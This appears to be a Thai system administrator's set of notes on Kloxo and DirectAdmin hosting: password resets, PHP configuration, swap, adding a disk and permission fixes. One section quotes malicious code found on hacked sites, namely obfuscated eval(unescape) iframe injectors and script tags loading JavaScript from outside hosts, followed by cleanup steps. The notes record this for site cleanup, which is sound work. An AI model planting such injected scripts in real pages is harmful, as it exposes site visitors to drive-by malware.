Topic List
Kloxo admin password login:ง่าย ๆ คือ
sh /script/resetpassword master {newpassword}
หรือ ยาก ๆ
How to reset a Kloxo or LxAdmin password from SSH
When your VPS is installed by us with lxadmin the password will be the same as what you asked for on setup.
If not try "admin"
Note: if you reinstall yourself it will also be "admin"
If you still can't login:
Login via SSH
cd /usr/local/lxlabs/lxadmin/httpdocs
/usr/bin/lphp.exe ../bin/common/resetpassword.php master
Now try your password again.
If you still can't get it to work, create a support ticket.
ที่มา LxCenter , ZanyHost Ltd
ftp> put "|tar cfz - /var/lib/mysql" backup.tar.gz
ปัญหา : เวลาเปลี่ยน PHP Config แล้วจะมีการเขียนลงไน .htaccess แต่ค่าที่เขียน ไม่ใช่ค่าที่ถูกต้อง มันไปเอาค่า phpvalue uploadmax_filesize 2M มาจากไหนก็ไม่รู้เขียนลงไป ปัญหาเลยเกิด
คำแนะนำ (อย่างใดอย่างหนึ่ง)
แก้ไขเองในไฟล์ /usr/local/lxlabs/kloxo/file/phpini/htaccesstemp เป็น phpvalue uploadmax_filesize 128M
มันเป็น bug ของ Kloxo If a client changes advanced PHP settings, then the website gives a blank page ลองแล้ว ไม่หาย
ลบไฟล์ /usr/local/lxlabs/kloxo/file/phpini/htaccesstemp ทิ้งไปเสียเลย มันจะได้เอาค่าจากการตั้งของ admin มาใช้ แต่จะทำให้ไม่สามารถกำหนดให้กับแต่ละโดเมนได้
ที่มา admin PHP config is not applied to all customers , If a client changes advanced PHP settings, then the website gives a blank page , Clients can edit php configuration
Keyword : .htaccess was change after click Advanced php config on Kloxo , Google
มีคนแนะนำว่าให้เลิกใช้ swap หาก RAM หมด ก็ปล่อยให้มันเดี้ยง ดีกว่าให้มันเขียนลง swap วันนี้ก็เลยลองของสักหน่อย พรุ่งนี้ก็จะรู้ผล
วิธีการคือ
ปิดมันทุก swap
root@god# swapoff -a
ปิด swap เฉพาะ
root@god# swapoff /dev/partition
โดยดู partition จาก
root@god# fdisk -l
หากอยากให้ปิดถาวรก็ต้องแก้ไขใน /etc/fstab
ตอนนี้ server มีปัญหาเรื่อง Load ในบางช่วงที่สูงผิดปกติ แต่ยังหาสาเหตุไม่เจอ
คุณ icez เขียนเรื่อง เครื่องมือดูสถานะระบบอย่างละเอียด (centos) ไว้ที่ thaihosttalk.com เลยขอเอาลิงก์มาเก็บไว้ก่อน ไว้ค่อยเขียนรายละเอียดอีกที
suPHP และ PHP cgi ไม่สามารถเปลี่ยนค่า config โดย .htaccess ได้ จึงต้องใช้วิธีการเพิ่ม config โดยให้ php ไปอ่านจากไฟล์เพิ่มเติม
เริ่มด้วยการสร้างไฟล์ php.ini ไว้ใน /usr/local/directadmin/data/users/(username)/php/php.ini
แล้วเพิ่มใน Apache ว่า
SetEnv PHP_INI_SCAN_DIR /usr/local/directadmin/data/users/|USER|/php/
ที่มา DirectAdmin
Enter /usr/local/directadmin/custombuild ("cd /usr/local/directadmin/custombuild").
If you use PHP5 CLI, create the directory custom/ap2 ("mkdir -p custom/ap2"), then copy configure/ap2/configure.php5 to custom/ap2/configure.php5.
If you use PHP5 CGI, create the directory custom/suphp ("mkdir -p custom/suphp"), then copy configure/suphp/configure.php5 to custom/suphp/configure.php5.
Open the copied file and add "--enable-exif" to the list. Remember that there must be a "\" at the very end of every line but the last one.
Reinstall php ("./build php n").Thanks for your help, that did the trick! Now I now this for the next time when I need to enable or install an pluginThanks again!
ที่มา : DirectAdmin
นาน ๆ ถึงจะได้ทำสักที ขอนำมาเก็บไว้ก่อนก็แล้วกัน
ทำการเพิ่ม HDD ถ้าระบบรองรับ hotswap ก็เสียบเข้าไปเลยไม่ต้อง shutdown แต่ถ้าไม่รองรับหรือไม่มี hdd bay แบบเสียบได้เลยก็คงต้องปิดเครื่องก่อนแหละ
เมื่อเพิ่ม hdd เสร็จแล้ว ก็เปิดเครื่อง login เข้า root (ตอน boot อาจจะแวะเข้า bios ตรวจสอบว่าระบบมองเห็น hdd ที่เพิ่มเข้าไป)
โดยปกติ hdd ที่เพิ่มเข้าไปก็จะเป็น sdb หรือ sdc สำหรับลูกที่ 2 และ 3 ตามลำดับ
สร้าง partition ด้วยคำสั่ง fdisk
กด p ดู partition ที่มีอยู่ ปกติ hdd ใหม่จะไม่มี partition แต่บางตัวก็จะมี utility partition ขนาดเล็กๆอยู่ ถ้ามีก็ลบออก แล้วสร้าง partition ตามต้องการroot@god# fdisk /dev/sdb
- d ลบ partition
- n สร้าง partition
- t กำหนด type ของ partition เสร็จแล้วกด w เพื่อบันทึก และออกจากโปรแกรมด้วย q
format partiton ที่สร้างขึ้นใหม่
หรือroot@god# mke2fs -j /dev/sdb1
root@god# mkfs -t ext3 /dev/sdb1
mount partition เข้าระบบ
root@god# mkdir /backup root@god# mount /dev/sdb1 /backup
อาจจะกำหนด label ให้ partition ที่สร้างใหม่
root@god# e2label /dev/sdb1 /backup
เพิ่มเข้าไปใน /etc/fstab เพื่อให้ mount ทุกครั้งที่ boot เครื่อง
/dev/sdb1 /backup ext3 defaults 1 2
หรืออ้างตามชื่อ labelLABEL=/backup /backup ext3 defaults 1 2
ที่มา ThaiHostTalk.com - จะเพิ่ม HD ลูกที่ 2 ใน CentOS ต้องทำอะไรบ้างครับ
โค๊ดเป็นตามนี้
<สคริปท์ >eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%73%65%64%76%62%2E%63%6F%6D%2F%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));< /สคริปท์> <สคริปท์>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%65%61%63%76%62%2E%63%6F%6D%2F%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));< /สคริปท์ >
และ
<สคริปท์ type="text/javascript" src="http://project-pc.it/jtoolsmini.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://witteveenreclame.nl/cssminibar.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://soorajmull.net/sidename.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://jigneshpatel.co.in/sidename.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://microstart.net/counter.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://9fox.biz/jtoolsmini.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://nicolaszuliani.com.ar/cssminibar.js"> < /สคริปท์> <สคริปท์ type="text/javascript" src="http://eugeniasilva.eu/sidename.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://pointgraphics.ie/counter.js">< /สคริปท์>
ยังไม่ได้ตามดูอย่างละเอียด
เปลี่ยน permission ของโฟลเดอร์เป็น 711 และ ไฟล์เป็น 644
สำหรับเว็บไซท์ที่ใช้ suPHP ส่วน code บรรทัดแรกยังไม่รู้เหมือนกันว่าทำอะไร ส่วนบรรทัดสุดท้ายนั้นจะเปลี่ยน owner/group ให้เป็นของแต่ละคน ซึ่งอาจจะไม่จำเป็น
cd /usr/local/directadmin/scripts && ./set_permissions.sh user_homes find /home/*/domains/*/public_html -type d -print0 | xargs -0 chmod 711 find /home/*/domains/*/public_html -type f -print0 | xargs -0 chmod 644 cd /usr/local/directadmin/data/users && for i in `ls`; do { chown -R $i:$i /home/$i/domains/*/public_html;}; done;
หาคำในไฟล์
ในที่นี้จะเป็นการหาคำว่า iframe แล้วบันทึกเก็บไว้ในไฟล์ iframe.txt
find /home/*/domains/*/public_html/ -maxdepth 100 -name *index* -exec grep -H "iframe" {} ";" > iframe.txt